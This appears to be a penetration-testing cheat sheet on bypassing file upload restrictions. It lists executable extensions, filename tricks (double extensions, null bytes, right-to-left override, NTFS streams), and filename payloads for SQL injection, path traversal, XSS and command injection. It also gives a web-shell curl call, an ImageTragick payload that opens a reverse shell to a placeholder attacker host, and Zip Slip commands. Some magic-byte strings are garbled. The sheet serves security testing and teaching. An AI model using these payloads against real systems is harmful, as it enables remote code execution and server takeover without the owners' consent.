5.8 KiB
Upload
Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
Summary
Tools
Exploits
Defaults extensions
- PHP Server
.php .php3 .php4 .php5 .php7 # Less known PHP extensions .pht .phps .phar .phpt .pgif .phtml .phtm .inc
- ASP Server :
.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)
- JSP :
.jsp, .jspx, .jsw, .jsv, .jspf
- Perl:
.pl, .pm, .cgi, .lib
- Coldfusion:
.cfm, .cfml, .cfc, .dbm
Upload tricks
- Use double extensions :
.jpg.php
- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code):
.php.jpg
- Random uppercase and lowercase :
.pHp, .pHP5, .PhAr
- Null byte (works well against
pathinfo()
).php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg
- Special characters
- Multiple dots :
file.php......
, in Windows when a file is created with dots at the end those will be removed. - Whitespace characters:
file.php%20
,file.php%0d%0a.jpg
- Right to Left Override (RTLO):
name.%E2%80%AEphp.jpg
will becamename.gpj.php
. - Slash:
file.php/
,file.php.\
- Multiple dots :
- Mime type, change
Content-Type : application/x-php
orContent-Type : application/octet-stream
toContent-Type : image/gif
Content-Type : image/gif
Content-Type : image/png
Content-Type : image/jpeg
- Set the Content-Type twice: once for unallowed type and once for allowed.
- Magic Bytes
- Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
- PNG:
\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
- JPG:
\xff\xd8\xff
- GIF:
GIF87a
ORGIF8;
- PNG:
- Shell can also be added in the metadata
- Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "
file.asax:.jpg
"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.
")
Filename vulnerabilities
- Time-Based SQLi Payloads: e.g.
poc.js'(select*from(select(sleep(20)))a)+'.extension
- LFI Payloads: e.g.
image.png../../../../../../../etc/passwd
- XSS Payloads e.g.
'"><img src=x onerror=alert(document.domain)>.extension
- File Traversal e.g.
../../../tmp/lol.png
- Command Injection e.g.
; sleep 10;
Picture upload with LFI
Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : curl 'http://localhost/test.php?0=system' --data "1='ls'"
.
- Picture Metadata, hide the payload inside a comment tag in the metadata.
- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating
getimagesize()
andimagecreatefromgif()
.
Configuration Files
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code. If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
Configuration files examples
- .htaccess
- web.config
- httpd.conf
- __init__.py
CVE - Image Tragik
Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
More payload in the folder Picture Image Magik
CVE - FFMpeg
FFmpeg HLS vulnerability
ZIP archive
When a ZIP/archive file is automatically decompressed after the upload
- Zip Slip: directory traversal to write a file somewhere else
python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15 ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt
References
- Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil
- BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA
- Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil
- La PNG qui se prenait pour du PHP, 23 février 2014
- File Upload restrictions bypass - Haboob Team
- File Upload - Mahmoud M. Awali / @0xAwali